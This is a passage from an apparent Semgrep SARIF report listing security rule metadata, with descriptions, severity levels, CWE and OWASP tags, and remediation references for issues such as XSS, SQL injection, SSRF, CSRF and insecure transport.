DOMPurify."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe","id":"ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe","name":"ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Calling assert with user input is equivalent to eval'ing."},"help":{"markdown":"Calling assert with user input is equivalent to eval'ing.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.assert-use.assert-use)\n - [https://www.php.net/manual/en/function.assert](https://www.php.net/manual/en/function.assert)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/AssertsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/AssertsSniff.php)\n","text":"Calling assert with user input is equivalent to eval'ing."},"helpUri":"https://semgrep.dev/r/php.lang.security.assert-use.assert-use","id":"php.lang.security.assert-use.assert-use","name":"php.lang.security.assert-use.assert-use","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.assert-use.assert-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If user input reaches `HoverProvider` while `supportHml` is set to `true` it may introduce an XSS vulnerability. Do not produce HTML for hovers with dynamically generated input."},"help":{"markdown":"If user input reaches `HoverProvider` while `supportHml` is set to `true` it may introduce an XSS vulnerability. Do not produce HTML for hovers with dynamically generated input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport)\n - [https://github.com/microsoft/monaco-editor/issues/801](https://github.com/microsoft/monaco-editor/issues/801)\n","text":"If user input reaches `HoverProvider` while `supportHml` is set to `true` it may introduce an XSS vulnerability. Do not produce HTML for hovers with dynamically generated input."},"helpUri":"https://semgrep.dev/r/javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport","id":"javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport","name":"javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a Storage that was not configured to deny action by default. Add `enable_https_traffic_only = true` in your resource block."},"help":{"markdown":"Detected a Storage that was not configured to deny action by default. Add `enable_https_traffic_only = true` in your resource block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-enforce-https.storage-enforce-https)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#enable_https_traffic_only](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#enable_https_traffic_only)\n - [https://docs.microsoft.com/en-us/azure/storage/common/storage-require-secure-transfer](https://docs.microsoft.com/en-us/azure/storage/common/storage-require-secure-transfer)\n","text":"Detected a Storage that was not configured to deny action by default. Add `enable_https_traffic_only = true` in your resource block."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-enforce-https.storage-enforce-https","id":"terraform.azure.security.storage.storage-enforce-https.storage-enforce-https","name":"terraform.azure.security.storage.storage-enforce-https.storage-enforce-https","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-enforce-https.storage-enforce-https"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Encryption at rest is not enabled for the elastic search domain resource"},"help":{"markdown":"Encryption at rest is not enabled for the elastic search domain resource\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Encryption at rest is not enabled for the elastic search domain resource"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest","id":"terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest","name":"terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown)\n","text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call","id":"ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call","name":"ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule is deprecated"},"help":{"markdown":"This rule is deprecated\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"This rule is deprecated"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody","id":"java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody","name":"java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-create-element-href-url.react-create-element-href-url)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.react.react-create-element-href-url.react-create-element-href-url","id":"typescript.react.react-create-element-href-url.react-create-element-href-url","name":"typescript.react.react-create-element-href-url.react-create-element-href-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-create-element-href-url.react-create-element-href-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable."},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/gorilla/csrf](https://github.com/gorilla/csrf)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable."},"helpUri":"https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection","id":"go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection","name":"go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled."},"help":{"markdown":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-fileaccess.swift-webview-config-allows-file-access)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-fileaccess.swift-webview-config-allows-file-access","id":"swift.webview.webview-fileaccess.swift-webview-config-allows-file-access","name":"swift.webview.webview-fileaccess.swift-webview-config-allows-file-access","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-fileaccess.swift-webview-config-allows-file-access"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"By default, clients can connect to App Service by using both HTTP or HTTPS. HTTP should be disabled enabling the HTTPS Only setting."},"help":{"markdown":"By default, clients can connect to App Service by using both HTTP or HTTPS. HTTP should be disabled enabling the HTTPS Only setting.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#https_only](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#https_only)\n - [https://docs.microsoft.com/en-us/azure/app-service/configure-ssl-bindings#enforce-https](https://docs.microsoft.com/en-us/azure/app-service/configure-ssl-bindings#enforce-https)\n","text":"By default, clients can connect to App Service by using both HTTP or HTTPS. HTTP should be disabled enabling the HTTPS Only setting."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only","id":"terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only","name":"terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc","id":"csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc","name":"csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using some of ruby's most popular REST/HTTP libraries, including httparty and restclient."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using some of ruby's most popular REST/HTTP libraries, including httparty and restclient.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests)\n - [https://github.com/rest-client/rest-client](https://github.com/rest-client/rest-client)\n - [https://github.com/jnunemaker/httparty/tree/master/docs](https://github.com/jnunemaker/httparty/tree/master/docs)\n","text":"Checks for requests to http (unencrypted) sites using some of ruby's most popular REST/HTTP libraries, including httparty and restclient."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests","id":"problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests","name":"problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data that is possible user-controlled from a python request is passed to `raw()`. This could lead to SQL injection and attackers gaining access to protected information. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"help":{"markdown":"Data that is possible user-controlled from a python request is passed to `raw()`. This could lead to SQL injection and attackers gaining access to protected information. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw)\n - [https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection](https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection)\n","text":"Data that is possible user-controlled from a python request is passed to `raw()`. This could lead to SQL injection and attackers gaining access to protected information. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw","id":"python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw","name":"python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `golang.org/x/crypto/bcrypt` package."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `golang.org/x/crypto/bcrypt` package.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://pkg.go.dev/golang.org/x/crypto/bcrypt](https://pkg.go.dev/golang.org/x/crypto/bcrypt)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `golang.org/x/crypto/bcrypt` package."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"go.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"go.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Pervasives is deprecated and will not be available after 4.10. Use Stdlib."},"help":{"markdown":"Pervasives is deprecated and will not be available after 4.10. Use Stdlib.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.compatibility.deprecated.deprecated-pervasives)\n","text":"Pervasives is deprecated and will not be available after 4.10. Use Stdlib."},"helpUri":"https://semgrep.dev/r/ocaml.lang.compatibility.deprecated.deprecated-pervasives","id":"ocaml.lang.compatibility.deprecated.deprecated-pervasives","name":"ocaml.lang.compatibility.deprecated.deprecated-pervasives","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.compatibility.deprecated.deprecated-pervasives"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$STR.replace` method will only replace the first occurrence when used with a string argument ($CHAR). If this method is used for escaping of dangerous data then there is a possibility for a bypass. Try to use sanitization library instead or use a Regex with a global flag."},"help":{"markdown":"`$STR.replace` method will only replace the first occurrence when used with a string argument ($CHAR). If this method is used for escaping of dangerous data then there is a possibility for a bypass. Try to use sanitization library instead or use a Regex with a global flag.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"`$STR.replace` method will only replace the first occurrence when used with a string argument ($CHAR). If this method is used for escaping of dangerous data then there is a possibility for a bypass. Try to use sanitization library instead or use a Regex with a global flag."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization","id":"javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization","name":"javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization","properties":{"precision":"very-high","tags":["CWE-116: Improper Encoding or Escaping of Output","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Insecure WebSocket Detected. WebSocket Secure (wss) should be used for all WebSocket connections."},"help":{"markdown":"Insecure WebSocket Detected. WebSocket Secure (wss) should be used for all WebSocket connections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Insecure WebSocket Detected. WebSocket Secure (wss) should be used for all WebSocket connections."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket","id":"javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket","name":"javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected data rendered directly to the end user via 'Response'. This bypasses Pyramid's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Pyramid's template engines to safely render HTML."},"help":{"markdown":"Detected data rendered directly to the end user via 'Response'. This bypasses Pyramid's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Pyramid's template engines to safely render HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected data rendered directly to the end user via 'Response'. This bypasses Pyramid's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Pyramid's template engines to safely render HTML."},"helpUri":"https://semgrep.dev/r/python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response","id":"python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response","name":"python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever 